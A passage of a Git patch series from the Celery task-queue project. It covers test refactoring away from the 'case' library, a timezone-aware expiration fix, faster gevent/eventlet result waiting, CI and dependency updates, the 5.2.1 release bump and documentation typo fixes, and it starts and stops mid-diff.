@pytest.mark.masked_modules('django') + def test_fixup_no_django(self, patching, mask_modules): + with patch('celery.fixups.django.DjangoFixup') as Fixup: + patching.setenv('DJANGO_SETTINGS_MODULE', '') + fixup(self.app) + Fixup.assert_not_called() + + patching.setenv('DJANGO_SETTINGS_MODULE', 'settings') + with pytest.warns(FixupWarning): + fixup(self.app) + Fixup.assert_not_called() + def test_fixup(self, patching): with patch('celery.fixups.django.DjangoFixup') as Fixup: patching.setenv('DJANGO_SETTINGS_MODULE', '') @@ -61,11 +73,7 @@ def test_fixup(self, patching): Fixup.assert_not_called() patching.setenv('DJANGO_SETTINGS_MODULE', 'settings') - with mock.mask_modules('django'): - with pytest.warns(FixupWarning): - fixup(self.app) - Fixup.assert_not_called() - with mock.module_exists('django'): + with conftest.module_exists('django'): import django django.VERSION = (1, 11, 1) fixup(self.app) @@ -257,17 +265,17 @@ def test_on_worker_ready(self): f._settings.DEBUG = True f.on_worker_ready() - def test_validate_models(self, patching): - with mock.module('django', 'django.db', 'django.core', - 'django.core.cache', 'django.conf', - 'django.db.utils'): - f = self.Fixup(self.app) - f.django_setup = Mock(name='django.setup') - patching.modules('django.core.checks') - from django.core.checks import run_checks - f.validate_models() - f.django_setup.assert_called_with() - run_checks.assert_called_with() + @pytest.mark.patched_module('django', 'django.db', 'django.core', + 'django.core.cache', 'django.conf', + 'django.db.utils') + def test_validate_models(self, patching, module): + f = self.Fixup(self.app) + f.django_setup = Mock(name='django.setup') + patching.modules('django.core.checks') + from django.core.checks import run_checks + f.validate_models() + f.django_setup.assert_called_with() + run_checks.assert_called_with() def test_django_setup(self, patching): patching('celery.fixups.django.symbol_by_name') diff --git a/t/unit/security/test_certificate.py b/t/unit/security/test_certificate.py index 910cb624618..d9f525dad25 100644 --- a/t/unit/security/test_certificate.py +++ b/t/unit/security/test_certificate.py @@ -3,10 +3,10 @@ from unittest.mock import Mock, patch import pytest -from case import mock from celery.exceptions import SecurityError from celery.security.certificate import Certificate, CertStore, FSCertStore +from t.unit import conftest from . import CERT1, CERT2, KEY1 from .case import SecurityCase @@ -84,7 +84,7 @@ def test_init(self, Certificate, glob, isdir): cert.has_expired.return_value = False isdir.return_value = True glob.return_value = ['foo.cert'] - with mock.open(): + with conftest.open(): cert.get_id.return_value = 1 path = os.path.join('var', 'certs') diff --git a/t/unit/security/test_security.py b/t/unit/security/test_security.py index 31d682e37be..0b75ffc3619 100644 --- a/t/unit/security/test_security.py +++ b/t/unit/security/test_security.py @@ -19,13 +19,13 @@ from unittest.mock import Mock, patch import pytest -from case import mock from kombu.exceptions import SerializerNotInstalled from kombu.serialization import disable_insecure_serializers, registry from celery.exceptions import ImproperlyConfigured, SecurityError from celery.security import disable_untrusted_serializers, setup_security from celery.security.utils import reraise_errors +from t.unit import conftest from . import CERT1, KEY1 from .case import SecurityCase @@ -120,7 +120,7 @@ def effect(*args): self.app.conf.task_serializer = 'auth' self.app.conf.accept_content = ['auth'] - with mock.open(side_effect=effect): + with conftest.open(side_effect=effect): with patch('celery.security.registry') as registry: store = Mock() self.app.setup_security(['json'], key, cert, store) diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index f5b4af87003..d170ccd178f 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -4,12 +4,12 @@ from unittest.mock import ANY, MagicMock, Mock, patch, sentinel import pytest -from case import ContextMock from kombu import Queue from kombu.exceptions import EncodeError from celery import Task, group, uuid from celery.app.task import _reprtask +from celery.contrib.testing.mocks import ContextMock from celery.exceptions import Ignore, ImproperlyConfigured, Retry from celery.result import AsyncResult, EagerResult from celery.utils.time import parse_iso8601 diff --git a/t/unit/utils/test_platforms.py b/t/unit/utils/test_platforms.py index 4100ad56560..1c0a03d9893 100644 --- a/t/unit/utils/test_platforms.py +++ b/t/unit/utils/test_platforms.py @@ -7,7 +7,6 @@ from unittest.mock import Mock, call, patch import pytest -from case import mock import t.skip from celery import _find_option_with_arg, platforms @@ -22,6 +21,7 @@ set_process_title, setgid, setgroups, setuid, signals) from celery.utils.text import WhateverIO +from t.unit import conftest try: import resource @@ -429,7 +429,7 @@ def test_without_resource(self): @patch('celery.platforms.signals') @patch('celery.platforms.maybe_drop_privileges') @patch('os.geteuid') - @patch(mock.open_fqdn) + @patch('builtins.open') def test_default(self, open, geteuid, maybe_drop, signals, pidlock): geteuid.return_value = 0 @@ -530,7 +530,7 @@ def test_create_pidlock(self, Pidfile): p = Pidfile.return_value = Mock() p.is_locked.return_value = True p.remove_if_stale.return_value = False - with mock.stdouts() as (_, err): + with conftest.stdouts() as (_, err): with pytest.raises(SystemExit): create_pidlock('/var/pid') assert 'already exists' in err.getvalue() @@ -567,14 +567,14 @@ def test_is_locked(self, exists): assert not p.is_locked() def test_read_pid(self): - with mock.open() as s: + with conftest.open() as s: s.write('1816\n') s.seek(0) p = Pidfile('/var/pid') assert p.read_pid() == 1816 def test_read_pid_partially_written(self): - with mock.open() as s: + with conftest.open() as s: s.write('1816') s.seek(0) p = Pidfile('/var/pid') @@ -584,20 +584,20 @@ def test_read_pid_partially_written(self): def test_read_pid_raises_ENOENT(self): exc = IOError() exc.errno = errno.ENOENT - with mock.open(side_effect=exc): + with conftest.open(side_effect=exc): p = Pidfile('/var/pid') assert p.read_pid() is None def test_read_pid_raises_IOError(self): exc = IOError() exc.errno = errno.EAGAIN - with mock.open(side_effect=exc): + with conftest.open(side_effect=exc): p = Pidfile('/var/pid') with pytest.raises(IOError): p.read_pid() def test_read_pid_bogus_pidfile(self): - with mock.open() as s: + with conftest.open() as s: s.write('eighteensixteen\n') s.seek(0) p = Pidfile('/var/pid') @@ -655,7 +655,7 @@ def test_remove_if_stale_process_alive(self, kill): @patch('os.kill') def test_remove_if_stale_process_dead(self, kill): - with mock.stdouts(): + with conftest.stdouts(): p = Pidfile('/var/pid') p.read_pid = Mock() p.read_pid.return_value = 1816 @@ -668,7 +668,7 @@ def test_remove_if_stale_process_dead(self, kill): p.remove.assert_called_with() def test_remove_if_stale_broken_pid(self): - with mock.stdouts(): + with conftest.stdouts(): p = Pidfile('/var/pid') p.read_pid = Mock() p.read_pid.side_effect = ValueError() @@ -679,7 +679,7 @@ def test_remove_if_stale_broken_pid(self): @patch('os.kill') def test_remove_if_stale_unprivileged_user(self, kill): - with mock.stdouts(): + with conftest.stdouts(): p = Pidfile('/var/pid') p.read_pid = Mock() p.read_pid.return_value = 1817 @@ -704,7 +704,7 @@ def test_remove_if_stale_no_pidfile(self): @patch('os.getpid') @patch('os.open') @patch('os.fdopen') - @patch(mock.open_fqdn) + @patch('builtins.open') def test_write_pid(self, open_, fdopen, osopen, getpid, fsync): getpid.return_value = 1816 osopen.return_value = 13 @@ -731,7 +731,7 @@ def test_write_pid(self, open_, fdopen, osopen, getpid, fsync): @patch('os.getpid') @patch('os.open') @patch('os.fdopen') - @patch(mock.open_fqdn) + @patch('builtins.open') def test_write_reread_fails(self, open_, fdopen, osopen, getpid, fsync): getpid.return_value = 1816 diff --git a/t/unit/utils/test_serialization.py b/t/unit/utils/test_serialization.py index 2f625fdb35f..bf83a0d68b5 100644 --- a/t/unit/utils/test_serialization.py +++ b/t/unit/utils/test_serialization.py @@ -6,7 +6,6 @@ import pytest import pytz -from case import mock from kombu import Queue from celery.utils.serialization import (STRTOBOOL_DEFAULT_TABLE, @@ -18,14 +17,14 @@ class test_AAPickle: - def test_no_cpickle(self): + @pytest.mark.masked_modules('cPickle') + def test_no_cpickle(self, mask_modules): prev = sys.modules.pop('celery.utils.serialization', None) try: - with mock.mask_modules('cPickle'): - import pickle as orig_pickle + import pickle as orig_pickle - from celery.utils.serialization import pickle - assert pickle.dumps is orig_pickle.dumps + from celery.utils.serialization import pickle + assert pickle.dumps is orig_pickle.dumps finally: sys.modules['celery.utils.serialization'] = prev diff --git a/t/unit/utils/test_threads.py b/t/unit/utils/test_threads.py index 758b39e4265..132f3504bc4 100644 --- a/t/unit/utils/test_threads.py +++ b/t/unit/utils/test_threads.py @@ -1,10 +1,10 @@ from unittest.mock import patch import pytest -from case import mock from celery.utils.threads import (Local, LocalManager, _FastLocalStack, _LocalStack, bgThread) +from t.unit import conftest class test_bgThread: @@ -17,7 +17,7 @@ def body(self): raise KeyError() with patch('os._exit') as _exit: - with mock.stdouts(): + with conftest.stdouts(): _exit.side_effect = ValueError() t = T() with pytest.raises(ValueError): diff --git a/t/unit/worker/test_autoscale.py b/t/unit/worker/test_autoscale.py index 7cfea789d4b..f6c63c57ac3 100644 --- a/t/unit/worker/test_autoscale.py +++ b/t/unit/worker/test_autoscale.py @@ -2,7 +2,7 @@ from time import monotonic from unittest.mock import Mock, patch -from case import mock +import pytest from celery.concurrency.base import BasePool from celery.utils.objects import Bunch @@ -100,8 +100,8 @@ def join(self, timeout=None): x.stop() assert not x.joined - @mock.sleepdeprived(module=autoscale) - def test_body(self): + @pytest.mark.sleepdeprived_patched_module(autoscale) + def test_body(self, sleepdeprived): worker = Mock(name='worker') x = autoscale.Autoscaler(self.pool, 10, 3, worker=worker) x.body() @@ -216,8 +216,8 @@ def body(self): _exit.assert_called_with(1) stderr.write.assert_called() - @mock.sleepdeprived(module=autoscale) - def test_no_negative_scale(self): + @pytest.mark.sleepdeprived_patched_module(autoscale) + def test_no_negative_scale(self, sleepdeprived): total_num_processes = [] worker = Mock(name='worker') x = autoscale.Autoscaler(self.pool, 10, 3, worker=worker) diff --git a/t/unit/worker/test_consumer.py b/t/unit/worker/test_consumer.py index a11098f37fa..0e7ce90818f 100644 --- a/t/unit/worker/test_consumer.py +++ b/t/unit/worker/test_consumer.py @@ -5,8 +5,8 @@ import pytest from billiard.exceptions import RestartFreqExceeded -from case import ContextMock +from celery.contrib.testing.mocks import ContextMock from celery.utils.collections import LimitedSet from celery.worker.consumer.agent import Agent from celery.worker.consumer.consumer import (CANCEL_TASKS_BY_DEFAULT, CLOSE, diff --git a/t/unit/worker/test_worker.py b/t/unit/worker/test_worker.py index c49af9af078..c6733e97d1c 100644 --- a/t/unit/worker/test_worker.py +++ b/t/unit/worker/test_worker.py @@ -11,7 +11,6 @@ import pytest from amqp import ChannelError -from case import mock from kombu import Connection from kombu.asynchronous import get_event_loop from kombu.common import QoS, ignore_errors @@ -804,8 +803,8 @@ def test_with_autoscaler(self): assert worker.autoscaler @t.skip.if_win32 - @mock.sleepdeprived(module=autoscale) - def test_with_autoscaler_file_descriptor_safety(self): + @pytest.mark.sleepdeprived_patched_module(autoscale) + def test_with_autoscaler_file_descriptor_safety(self, sleepdeprived): # Given: a test celery worker instance with auto scaling worker = self.create_worker( autoscale=[10, 5], use_eventloop=True, @@ -853,8 +852,8 @@ def test_with_autoscaler_file_descriptor_safety(self): worker.pool.terminate() @t.skip.if_win32 - @mock.sleepdeprived(module=autoscale) - def test_with_file_descriptor_safety(self): + @pytest.mark.sleepdeprived_patched_module(autoscale) + def test_with_file_descriptor_safety(self, sleepdeprived): # Given: a test celery worker instance worker = self.create_worker( autoscale=[10, 5], use_eventloop=True, From 431f07d77289149b9064fdc36202a536f86f2994 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?G=C3=A1bor=20Boros?= Date: Fri, 12 Nov 2021 09:38:21 +0100 Subject: [PATCH 400/415] fix: task expiration is timezone aware if needed (#7065) * fix: task expiration is timezone aware if needed In #6957 the changes introduced checking for datetime objects for task expiration, though the implementation is not considering that the expiration date can be set with or without timezone. Therefore the expiration second calculation for the task can raise a TypeError. Signed-off-by: Gabor Boros * chore: add Gabor Boros to contributors list Signed-off-by: Gabor Boros --- CONTRIBUTORS.txt | 1 + celery/app/base.py | 4 ++-- t/unit/tasks/test_tasks.py | 11 +++++++++++ 3 files changed, 14 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index 5dee5a11685..1c497349f54 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -285,3 +285,4 @@ Garry Lawrence, 2021/06/19 Patrick Zhang, 2017/08/19 Konstantin Kochin, 2021/07/11 kronion, 2021/08/26 +Gabor Boros, 2021/11/09 diff --git a/celery/app/base.py b/celery/app/base.py index 0b893fddb87..671fc846ac6 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -32,7 +32,7 @@ from celery.utils.imports import gen_task_name, instantiate, symbol_by_name from celery.utils.log import get_logger from celery.utils.objects import FallbackContext, mro_lookup -from celery.utils.time import timezone, to_utc +from celery.utils.time import maybe_make_aware, timezone, to_utc # Load all builtin tasks from . import builtins # noqa @@ -734,7 +734,7 @@ def send_task(self, name, args=None, kwargs=None, countdown=None, options, route_name or name, args, kwargs, task_type) if expires is not None: if isinstance(expires, datetime): - expires_s = (expires - self.now()).total_seconds() + expires_s = (maybe_make_aware(expires) - self.now()).total_seconds() else: expires_s = expires diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index d170ccd178f..89689914f26 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -941,6 +941,17 @@ def test_regular_task(self): name='George Costanza', test_eta=True, test_expires=True, ) + # With ETA, absolute expires without timezone. + presult2 = self.mytask.apply_async( + kwargs={'name': 'George Constanza'}, + eta=self.now() + timedelta(days=1), + expires=(self.now() + timedelta(hours=2)).replace(tzinfo=None), + ) + self.assert_next_task_data_equal( + consumer, presult2, self.mytask.name, + name='George Constanza', test_eta=True, test_expires=True, + ) + # With ETA, absolute expires in the past. presult2 = self.mytask.apply_async( kwargs={'name': 'George Costanza'}, From fe37cd834109810dc778845378880abdf7d08ff6 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Fri, 12 Nov 2021 18:40:17 +0600 Subject: [PATCH 401/415] minor weaks to github actions (#7078) * minor weaks to github actions * lets try windows latest * update minimum dependencies for some package * try pypy-3 in tox * revert tox pypy changes * try latest pip * pin eventlet below python 3.10 * pin python3.10 * pin python3.10 * revert to windows 2019 to check if pypy37 pass --- .github/workflows/python-package.yml | 25 +++++++------------------ requirements/extras/couchbase.txt | 2 +- requirements/extras/eventlet.txt | 2 +- requirements/extras/gevent.txt | 2 +- requirements/extras/redis.txt | 2 +- 5 files changed, 11 insertions(+), 22 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 6807091169f..54fdc3596dc 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -20,13 +20,13 @@ on: - '.github/workflows/python-package.yml' jobs: - build: + Unit: runs-on: ${{ matrix.os }} strategy: fail-fast: false matrix: - python-version: ['3.7', '3.8', '3.9', '3.10', 'pypy-3.7'] + python-version: ['3.7', '3.8', '3.9', '3.10', 'pypy-3.7','pypy-3.8'] os: ["ubuntu-20.04", "windows-2019"] steps: @@ -34,9 +34,9 @@ jobs: if: startsWith(matrix.os, 'ubuntu-') run: | sudo apt update && sudo apt-get install -f libcurl4-openssl-dev libssl-dev gnutls-dev httping expect libmemcached-dev - - uses: actions/checkout@v2 + - uses: actions/checkout@v2.4.0 - name: Set up Python ${{ matrix.python-version }} - uses: actions/setup-python@v2 + uses: actions/setup-python@v2.2.2 with: python-version: ${{ matrix.python-version }} @@ -45,7 +45,7 @@ jobs: run: | echo "::set-output name=dir::$(pip cache dir)" - name: Cache - uses: actions/cache@v2 + uses: actions/cache@v2.1.6 with: path: ${{ steps.pip-cache.outputs.dir }} key: @@ -54,7 +54,7 @@ jobs: ${{ matrix.python-version }}-${{matrix.os}} - name: Install tox - run: python -m pip install tox tox-gh-actions + run: python -m pip install --upgrade pip tox tox-gh-actions - name: > Run tox for "${{ matrix.python-version }}-unit" @@ -62,20 +62,9 @@ jobs: run: | tox --verbose --verbose - - uses: codecov/codecov-action@v1 + - uses: codecov/codecov-action@v2.1.0 with: flags: unittests # optional fail_ci_if_error: true # optional (default = false) verbose: true # optional (default = false) - lint: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - uses: actions/setup-python@v2 - # Must match the Python version in tox.ini for flake8 - with: { python-version: 3.9 } - - name: Install tox - run: python -m pip install tox - - name: Lint with pre-commit - run: tox --verbose -e lint diff --git a/requirements/extras/couchbase.txt b/requirements/extras/couchbase.txt index a86b71297ab..a736d6a7742 100644 --- a/requirements/extras/couchbase.txt +++ b/requirements/extras/couchbase.txt @@ -1 +1 @@ -couchbase>=3.0.0; platform_python_implementation!='PyPy' and (platform_system != 'Windows' or python_version < '3.10') +couchbase>=3.0.0; platform_python_implementation!='PyPy' and (platform_system != 'Windows' or python_version < '3.10') \ No newline at end of file diff --git a/requirements/extras/eventlet.txt b/requirements/extras/eventlet.txt index a25cb65d4f0..047d9cbcbae 100644 --- a/requirements/extras/eventlet.txt +++ b/requirements/extras/eventlet.txt @@ -1 +1 @@ -eventlet>=0.26.1; python_version<"3.10" +eventlet>=0.32.0; python_version<"3.10" diff --git a/requirements/extras/gevent.txt b/requirements/extras/gevent.txt index 2fc04b699b3..4d5a00d0fb4 100644 --- a/requirements/extras/gevent.txt +++ b/requirements/extras/gevent.txt @@ -1 +1 @@ -gevent>=1.0.0 +gevent>=1.5.0 diff --git a/requirements/extras/redis.txt b/requirements/extras/redis.txt index b0d3f0fb748..240ddab80bb 100644 --- a/requirements/extras/redis.txt +++ b/requirements/extras/redis.txt @@ -1 +1 @@ -redis>=3.2.0 +redis>=3.4.1 From cc5569222db3c1e5bee3a70d679f747940988fec Mon Sep 17 00:00:00 2001 From: mrmaxi Date: Sun, 14 Nov 2021 15:22:51 +0300 Subject: [PATCH 402/415] fix: reduce latency of AsyncResult.get under gevent (#7052) Wakeup waiters in `wait_for` after every `drain_events` occurs instead of only after 1 seconds timeout. Does not block event loop, because `drain_events` of asynchronous backends with pubsub commonly sleeping for some nonzero time while waiting events. --- celery/backends/asynchronous.py | 40 +++++++++++++++++++++------- t/unit/backends/test_asynchronous.py | 10 +++++-- 2 files changed, 39 insertions(+), 11 deletions(-) diff --git a/celery/backends/asynchronous.py b/celery/backends/asynchronous.py index 32475d5eaa6..cedae5013a8 100644 --- a/celery/backends/asynchronous.py +++ b/celery/backends/asynchronous.py @@ -66,18 +66,30 @@ def wait_for(self, p, wait, timeout=None): class greenletDrainer(Drainer): spawn = None _g = None + _drain_complete_event = None # event, sended (and recreated) after every drain_events iteration + + def _create_drain_complete_event(self): + """create new self._drain_complete_event object""" + pass + + def _send_drain_complete_event(self): + """raise self._drain_complete_event for wakeup .wait_for""" + pass def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self._started = threading.Event() self._stopped = threading.Event() self._shutdown = threading.Event() + self._create_drain_complete_event() def run(self): self._started.set() while not self._stopped.is_set(): try: self.result_consumer.drain_events(timeout=1) + self._send_drain_complete_event() + self._create_drain_complete_event() except socket.timeout: pass self._shutdown.set() @@ -89,8 +101,14 @@ def start(self): def stop(self): self._stopped.set() + self._send_drain_complete_event() self._shutdown.wait(THREAD_TIMEOUT_MAX) + def wait_for(self, p, wait, timeout=None): + self.start() + if not p.ready: + self._drain_complete_event.wait(timeout=timeout) + @register_drainer('eventlet') class eventletDrainer(greenletDrainer): @@ -101,10 +119,12 @@ def spawn(self, func): sleep(0) return g - def wait_for(self, p, wait, timeout=None): - self.start() - if not p.ready: - self._g._exit_event.wait(timeout=timeout) + def _create_drain_complete_event(self): + from eventlet.event import Event + self._drain_complete_event = Event() + + def _send_drain_complete_event(self): + self._drain_complete_event.send() @register_drainer('gevent') @@ -116,11 +136,13 @@ def spawn(self, func): gevent.sleep(0) return g - def wait_for(self, p, wait, timeout=None): - import gevent - self.start() - if not p.ready: - gevent.wait([self._g], timeout=timeout) + def _create_drain_complete_event(self): + from gevent.event import Event + self._drain_complete_event = Event() + + def _send_drain_complete_event(self): + self._drain_complete_event.set() + self._create_drain_complete_event() class AsyncBackendMixin: diff --git a/t/unit/backends/test_asynchronous.py b/t/unit/backends/test_asynchronous.py index c0fe894900a..6593cd53e5e 100644 --- a/t/unit/backends/test_asynchronous.py +++ b/t/unit/backends/test_asynchronous.py @@ -158,7 +158,10 @@ def sleep(self): def result_consumer_drain_events(self, timeout=None): import eventlet - eventlet.sleep(0) + # `drain_events` of asynchronous backends with pubsub have to sleep + # while waiting events for not more then `interval` timeout, + # but events may coming sooner + eventlet.sleep(timeout/10) def schedule_thread(self, thread): import eventlet @@ -204,7 +207,10 @@ def sleep(self): def result_consumer_drain_events(self, timeout=None): import gevent - gevent.sleep(0) + # `drain_events` of asynchronous backends with pubsub have to sleep + # while waiting events for not more then `interval` timeout, + # but events may coming sooner + gevent.sleep(timeout/10) def schedule_thread(self, thread): import gevent From 59f22712db8879e2fc016c5bed504ae49f0b05c1 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Sun, 14 Nov 2021 13:29:03 +0000 Subject: [PATCH 403/415] [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --- t/unit/backends/test_asynchronous.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/t/unit/backends/test_asynchronous.py b/t/unit/backends/test_asynchronous.py index 6593cd53e5e..479fd855838 100644 --- a/t/unit/backends/test_asynchronous.py +++ b/t/unit/backends/test_asynchronous.py @@ -158,6 +158,7 @@ def sleep(self): def result_consumer_drain_events(self, timeout=None): import eventlet + # `drain_events` of asynchronous backends with pubsub have to sleep # while waiting events for not more then `interval` timeout, # but events may coming sooner @@ -207,6 +208,7 @@ def sleep(self): def result_consumer_drain_events(self, timeout=None): import gevent + # `drain_events` of asynchronous backends with pubsub have to sleep # while waiting events for not more then `interval` timeout, # but events may coming sooner From 6b442eb3f2450ede1585e4bae37ee12e6d127947 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Mon, 15 Nov 2021 16:41:01 +0000 Subject: [PATCH 404/415] [pre-commit.ci] pre-commit autoupdate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/pycqa/isort: 5.10.0 → 5.10.1](https://github.com/pycqa/isort/compare/5.10.0...5.10.1) --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 5c7feb69d33..a542597b1c8 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -24,6 +24,6 @@ repos: - id: mixed-line-ending - repo: https://github.com/pycqa/isort - rev: 5.10.0 + rev: 5.10.1 hooks: - id: isort From ddbb67c29dd1137805a2bdf2695cffdbb0d54efa Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 16 Nov 2021 12:10:00 +0600 Subject: [PATCH 405/415] pin redis below v4.0.0 for now to fix kombu --- requirements/extras/redis.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/extras/redis.txt b/requirements/extras/redis.txt index 240ddab80bb..6a0c1d208bf 100644 --- a/requirements/extras/redis.txt +++ b/requirements/extras/redis.txt @@ -1 +1 @@ -redis>=3.4.1 +redis>=3.4.1,<4.0.0 From 83747fdbe8a751713f702bf765fef31d08229dd9 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 16 Nov 2021 20:27:19 +0600 Subject: [PATCH 406/415] bump minimum kombu version to 5.2.2 --- requirements/default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/default.txt b/requirements/default.txt index b35e5b393e9..3be20593c97 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -1,6 +1,6 @@ pytz>0.dev.0 billiard>=3.6.4.0,<4.0 -kombu>=5.2.1,<6.0 +kombu>=5.2.2,<6.0 vine>=5.0.0,<6.0 click>=8.0,<9.0 click-didyoumean>=0.0.3 From 4c92cb745f658382a4eb4b94ba7938d119168165 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 16 Nov 2021 20:52:12 +0600 Subject: [PATCH 407/415] changelog for v5.2.1 --- Changelog.rst | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index 8c94896c0aa..84d02ba3ae2 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,26 @@ This document contains change notes for bugfix & new features in the & 5.2.x series, please see :ref:`whatsnew-5.2` for an overview of what's new in Celery 5.2. + +.. _version-5.2.1: + +5.2.1 +======= +:release-date: 2021-11-16 8.55 P.M UTC+6:00 +:release-by: Asif Saif Uddin + +- Fix rstrip usage on bytes instance in ProxyLogger. +- Pass logfile to ExecStop in celery.service example systemd file. +- fix: reduce latency of AsyncResult.get under gevent (#7052) +- Limit redis version: <4.0.0. +- Bump min kombu version to 5.2.2. +- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0. +- Remove dependency to case (#7077). +- fix: task expiration is timezone aware if needed (#7065). +- Initial testing of pypy-3.8 beta to CI. +- Docs, CI & tests cleanups. + + .. _version-5.2.0: 5.2.0 From d32356c0e46eefecd164c55899f532c2fed2df57 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 16 Nov 2021 20:55:01 +0600 Subject: [PATCH 408/415] =?UTF-8?q?Bump=20version:=205.2.0=20=E2=86=92=205?= =?UTF-8?q?.2.1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 2 +- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index c09541dd81c..ad96c6ecbea 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.2.0 +current_version = 5.2.1 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 0075875b468..03bbec6f613 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.2.0 (dawn-chorus) +:Version: 5.2.1 (dawn-chorus) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ diff --git a/celery/__init__.py b/celery/__init__.py index 28a7de4f54b..320228e92ca 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'dawn-chorus' -__version__ = '5.2.0' +__version__ = '5.2.1' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 0b871532542..50292b1d7aa 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.2.0 (cliffs) +:Version: 5.2.1 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 639ad83239a1f9cfc58ee9852a1f107f96d3c1a1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Viktor=20K=C3=A1lm=C3=A1n?= Date: Fri, 10 Dec 2021 12:44:47 +0100 Subject: [PATCH 409/415] update doc to reflect Celery 5.2.x (#7153) * update doc to reflect Celery 5.2.x * Mention 3.10 as well. Co-authored-by: Asif Saif Uddin * Fix formatting. * update Co-authored-by: Omer Katz Co-authored-by: Asif Saif Uddin --- docs/getting-started/introduction.rst | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/getting-started/introduction.rst b/docs/getting-started/introduction.rst index a57086df8bc..2797ce60097 100644 --- a/docs/getting-started/introduction.rst +++ b/docs/getting-started/introduction.rst @@ -39,14 +39,15 @@ What do I need? =============== .. sidebar:: Version Requirements - :subtitle: Celery version 5.1 runs on + :subtitle: Celery version 5.2 runs on - - Python ❨3.6, 3.7, 3.8❩ - - PyPy3.6 ❨7.3❩ + - Python ❨3.7, 3.8, 3.9, 3.10❩ + - PyPy3.7, 3.8 ❨7.3.7❩ Celery 4.x was the last version to support Python 2.7, Celery 5.x requires Python 3.6 or newer. Celery 5.1.x also requires Python 3.6 or newer. + Celery 5.2.x requires Python 3.7 or newer. If you're running an older version of Python, you need to be running From 9596abad9060323d85d3945d8637b3cafadfefa2 Mon Sep 17 00:00:00 2001 From: Sadegh Date: Wed, 22 Dec 2021 21:41:50 +0100 Subject: [PATCH 410/415] Fix typo in documentation `CELERY_CACHE_BACKEND` is the right property for cache backend, not `CELERY_RESULT_BACKEND` --- docs/django/first-steps-with-django.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/django/first-steps-with-django.rst b/docs/django/first-steps-with-django.rst index 2b402c8a505..9c9a2f5bc8f 100644 --- a/docs/django/first-steps-with-django.rst +++ b/docs/django/first-steps-with-django.rst @@ -201,7 +201,7 @@ To use this with your project you need to follow these steps: .. code-block:: python - CELERY_RESULT_BACKEND = 'django-cache' + CELERY_CACHE_BACKEND = 'django-cache' We can also use the cache defined in the CACHES setting in django. From 2d8dbc2a8087bbb60590465031ebd5138b8eb359 Mon Sep 17 00:00:00 2001 From: Ava Thorn Date: Sun, 12 Dec 2021 06:15:29 -0500 Subject: [PATCH 411/415] Update configuration.rst Fix typo causing syntax error in documentation --- docs/userguide/configuration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 0d7d7554d0a..52797df39fe 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ 